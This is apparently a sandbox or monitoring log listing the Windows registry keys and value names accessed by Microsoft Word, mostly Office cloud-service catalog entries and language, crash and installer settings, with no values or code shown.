HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS\AuthTrustedDomains\integrations-prod.egnytegov.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS\AuthTrustedDomains\partner-integrations.egnyte.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS\AuthTrustedDomains\staging-partner-integrations.egnyte.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS\Thumbnails

Url16x16

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS\Thumbnails

Url32x32

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS\Thumbnails

Url48x48

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE

AccountLimit

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE

AllowsRefreshTokenAccess

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE

AuthMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE

IsManaged

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE

IsRemovable

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE

SupportsMultiple

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE

SupportsNonRoaming

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE

AuthClientId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE

AuthRedirectUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE

AuthScope

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE

AuthorizationUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE

TokenIssuanceUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE\AuthTrustedDomains\google.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE\Thumbnails

Url16x16

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE\Thumbnails

Url32x32

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE\Thumbnails

Url48x48

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP

AccountLimit

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP

AllowsRefreshTokenAccess

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP

AuthMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP

AuthClientId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP

AuthRedirectUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP

AuthScope

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP

AuthorizationUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP

TokenIssuanceUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP\AuthTrustedDomains\googleapis.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP\AuthTrustedDomains\mail.google.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP\Thumbnails

Url16x16

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP\Thumbnails

Url32x32

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_GOOGLE_IMAP\Thumbnails

Url48x48

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM

AccountLimit

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM

AllowsRefreshTokenAccess

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM

AuthMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM

IsManaged

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM

IsRemovable

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM

SupportsMultiple

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM

SupportsNonRoaming

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM

AuthBootStrapperUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM

AuthClientId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM

AuthRedirectUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM\AuthTrustedDomains\*.cloudimanage.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM\AuthTrustedDomains\cloudimanage.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM\Thumbnails

Url16x16

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM\Thumbnails

Url32x32

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_IMANAGE_CIM\Thumbnails

Url48x48

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS

AccountLimit

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS

AuthMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS

SupportsMultiple

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS

SupportsNonRoaming

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS

AuthBootStrapperUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS

AuthClientId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS

AuthRedirectUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS\AuthTrustedDomains\*.ca.opentext.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS\AuthTrustedDomains\*.ot2.opentext.eu

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS\AuthTrustedDomains\ot2.opentext.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS\AuthTrustedDomains\ot2.opentext.eu

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS\AuthTrustedDomains\otdsauth.ot2.opentext.eu

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS\Thumbnails

Url16x16

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS\Thumbnails

Url32x32

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_OPENTEXT_PLUS\Thumbnails

Url48x48

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_YAHOO_IMAP

AccountLimit

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_YAHOO_IMAP

AllowsRefreshTokenAccess

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_YAHOO_IMAP

AuthMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_YAHOO_IMAP

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_YAHOO_IMAP

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_YAHOO_IMAP

IsManaged

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_YAHOO_IMAP

IsRemovable

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_YAHOO_IMAP

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_YAHOO_IMAP

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_YAHOO_IMAP

SupportsMultiple

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_YAHOO_IMAP

AuthClientId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_YAHOO_IMAP

AuthRedirectUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_YAHOO_IMAP

AuthScope

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_YAHOO_IMAP

AuthorizationUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_YAHOO_IMAP

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_YAHOO_IMAP

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_YAHOO_IMAP

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_YAHOO_IMAP

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_YAHOO_IMAP

TokenIssuanceUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE

AccountLimit

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE

AllowsRefreshTokenAccess

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE

IsManaged

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE

IsRemovable

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE

SupportsMultiple

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE

SupportsNonRoaming

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE

CapabilitiesMetadata

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE\Metadata

DefaultCreateRelativePath

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE\Metadata

DefaultFolderRelativePath

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE\Metadata

KeyTip

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE\Metadata

RegularExpression

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE\Metadata

Type

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE\Thumbnails

Url16x16

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE\Thumbnails

Url32x32

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLINBOX_SKYDRIVE\Thumbnails

Url48x48

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLMOUNTED_CONNECT

AccountLimit

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLMOUNTED_CONNECT

AllowsRefreshTokenAccess

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLMOUNTED_CONNECT

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLMOUNTED_CONNECT

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLMOUNTED_CONNECT

IsManaged

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLMOUNTED_CONNECT

IsRemovable

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLMOUNTED_CONNECT

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLMOUNTED_CONNECT

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLMOUNTED_CONNECT

SupportsMultiple

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLMOUNTED_CONNECT

SupportsNonRoaming

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLMOUNTED_CONNECT

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\WLMOUNTED_CONNECT

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\ClientTelemetry\Sampling

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

en-CH

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

en-GB

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

en-CH

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

en-GB

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Experiment\word

EcsRequestPending

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\3856

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog

CacheReady

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\3856

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word

Expires

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word

ETag

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\3856

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\16.0\Word\Text Converters\Import

Name

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\16.0\Word\Text Converters\Import

Path

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\16.0\Word\Text Converters\Import

Extensions

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\16.0\Word\Text Converters\Import

Name

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\16.0\Word\Text Converters\Import

Path

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\16.0\Word\Text Converters\Import

Extensions

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F00000000000000000F01FEC\Usage

VBAFiles

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\3856

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Resiliency

PotentialDataLossInfo2

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F00000000000000000F01FEC\Usage

VBAFiles

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F10090400000000000F01FEC\Usage

SpellingAndGrammarFiles_1033

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F100C0400000000000F01FEC\Usage

SpellingAndGrammarFiles_1036

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F100A0C00000000000F01FEC\Usage

SpellingAndGrammarFiles_3082

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F10090400000000000F01FEC\Usage

SpellingAndGrammarFiles_1033

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F10090400000000000F01FEC\Usage

SpellingAndGrammarFiles_1033

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F100C0400000000000F01FEC\Usage

SpellingAndGrammarFiles_1036

